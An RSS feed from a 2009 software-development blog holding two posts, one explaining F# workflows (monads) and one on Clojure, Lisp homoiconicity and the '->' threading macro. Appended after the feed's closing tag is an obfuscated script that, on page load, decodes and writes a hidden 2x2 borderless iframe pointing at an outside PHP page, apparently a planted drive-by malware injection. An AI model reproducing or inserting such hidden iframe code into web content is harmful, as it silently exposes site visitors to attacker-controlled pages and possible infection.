<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; F#</title>
	<atom:link href="http://www.lexparse.com/category/f/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>F# and Workflows (Monads)</title>
		<link>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/</link>
		<comments>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 14:41:53 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Clojure]]></category>
		<category><![CDATA[F#]]></category>
		<category><![CDATA[Haskell]]></category>
		<category><![CDATA[Lisp]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Monads]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=53</guid>
		<description><![CDATA[Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function [...]]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function that takes a filename and line number and returns a byte array of the data on that line in the file?  Might it not return a different byte array between subsequent calls if the file changed?  The solution: instead of executing the operations to read the file and return the data, the function creates a workflow(monad) that will do that.  So what comes back from the function is a workflow, something that represents the operations to read from the file.  In typical pragmatic form, Microsoft decided to use a better name for this in F#: Workflows.  The stuff in the Workflow is called the <em>compuation expression</em>.  These names make sense.</p>
<p>It turns out workflows are useful for other things like building <a href="http://msdn.microsoft.com/en-us/library/dd233209(VS.100).aspx" target="_blank">Sequence Expressions</a> and<a href="http://msdn.microsoft.com/en-us/library/dd233250(VS.100).aspx" target="_blank"> Async Workflows</a>.  The advantage is a syntactic sugar for creating what is usually a gobbledygook of disparate pieces of code to accomplish the same thing.  You can <a href="http://msdn.microsoft.com/en-us/library/dd233182(VS.100).aspx" target="_blank">create your own workflows</a> by creating a type with a couple of important mothods: Bind, Delay, and Return.  I really recommend watching <a href="http://channel9.msdn.com/pdc2008/TL11/" target="_blank">Luca Bolognese&#8217;s presentation</a> on F#.  Its worth watching for the section where he discusses Async Workflows.  Pretty amazing stuff.</p>
<p>If you come from the Lisp world, F# Sequence Expressions will seem familiar to you.  In <a href="http://www.clojure.org" target="_blank">Clojure </a>and Lisp they are called <a href="http://clojure.org/api#toc264" target="_blank">List Comprehensions</a> but are essentially a specialized Monad/Workflow.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clojure and Lisp</title>
		<link>http://www.lexparse.com/2009/10/27/clojure-and-lisp/</link>
		<comments>http://www.lexparse.com/2009/10/27/clojure-and-lisp/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 17:47:50 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Clojure]]></category>
		<category><![CDATA[F#]]></category>
		<category><![CDATA[Languages]]></category>
		<category><![CDATA[Lisp]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=28</guid>
		<description><![CDATA[Over the years, I had heard much about Lisp.  Articles I had read, or colleagues who knew it, would espouse the benefits of learning it or using it.  Promised results ranged from making you a better imperative programmer to the highest intellectual enlightenment that could be achieved.  So I dove into Lisp. [...]]]></description>
			<content:encoded><![CDATA[<p>Over the years, I had heard much about Lisp.  Articles I had read, or colleagues who knew it, would espouse the benefits of learning it or using it.  Promised results ranged from making you a better imperative programmer to the highest intellectual enlightenment that could be achieved.  So I dove into Lisp.  Except it wasn&#8217;t diving.  Well it was like diving if the body of water you are diving into is covered with 18 inches of ice, and you need to use a sledge hammer to make a hole to dive into.  And then your mind and body react to diving into close to freezing water.  If you come from a strictly imperative programming background, learning Lisp and/or Functional Programming can be a battle.  I&#8217;m pretty sure it&#8217;s easier to learn Lisp and FP if you don&#8217;t know anything about programming.</p>
<p>So I started reading bits and pieces about Lisp, but without actually coding in it, I really didn&#8217;t get it.  I needed to code.  But what were the options?  Islands.  Islands with libraries that promised this and that but still little islands.  Then I met Rich Hickey and his language <a href="http://www.clojure.org" target="_blank">Clojure</a>.  Clojure is a much improved dialect of Lisp that compiles down to JVM or CLR byte code.  Continents.  Continents with lots of libraries and documentation.  I could now easily connect to SQL Server and do some real world stuff.  Yes, Clojure is a dynamic language, and I&#8217;ve mentioned I prefer static languages, but Clojure is filled with awesome.</p>
<p>Although Clojure along with other Lisps are functional programming languages, Lisps have a very unique property that other common FP languages don&#8217;t have:  <a href="http://en.wikipedia.org/wiki/Homoiconicity" target="_blank">Homoiconicity</a>.  Thats fancy talk for saying the code and data have the same shape.  Data structures and code are represented the same way: s-expressions.  This is what drives the powerful Lisp macro system.  The macro system is what makes the language changeable.  If there is a feature you want that&#8217;s not in the language, you can add it.  This point was really driven home to me when I learned about the F# pipeline operator: |&gt; .   I thought, see this is a nice feature that Clojure doesn&#8217;t have.  Until I realized that someone had built a pipeline macro for Clojure.  This is from core.clj:</p>
<pre name="code" class="c-sharp">
(defmacro -&gt;
  "Threads the expr through the forms. Inserts x as the
  second item in the first form, making a list of it if it is not a
  list already. If there are more forms, inserts the first form as the
  second item in second form, etc."
  ([x form] (if (seq? form)
              `(~(first form) ~x ~@(next form))
              (list form x)))
  ([x form &amp; more] `(-&gt; (-&gt; ~x ~form) ~@more)))
</pre>
<p>If F# didn&#8217;t have |&gt; there would be nothing you could do [<strong>Update</strong>:  That is not true.  As Brian pointed out in the comments, F# allows you to declare infix operators.].  Don&#8217;t get me wrong, I&#8217;m a HUGE fan of F#, it just doesn&#8217;t have a macro system.  But it is statically typed <img src='http://www.lexparse.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/27/clojure-and-lisp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>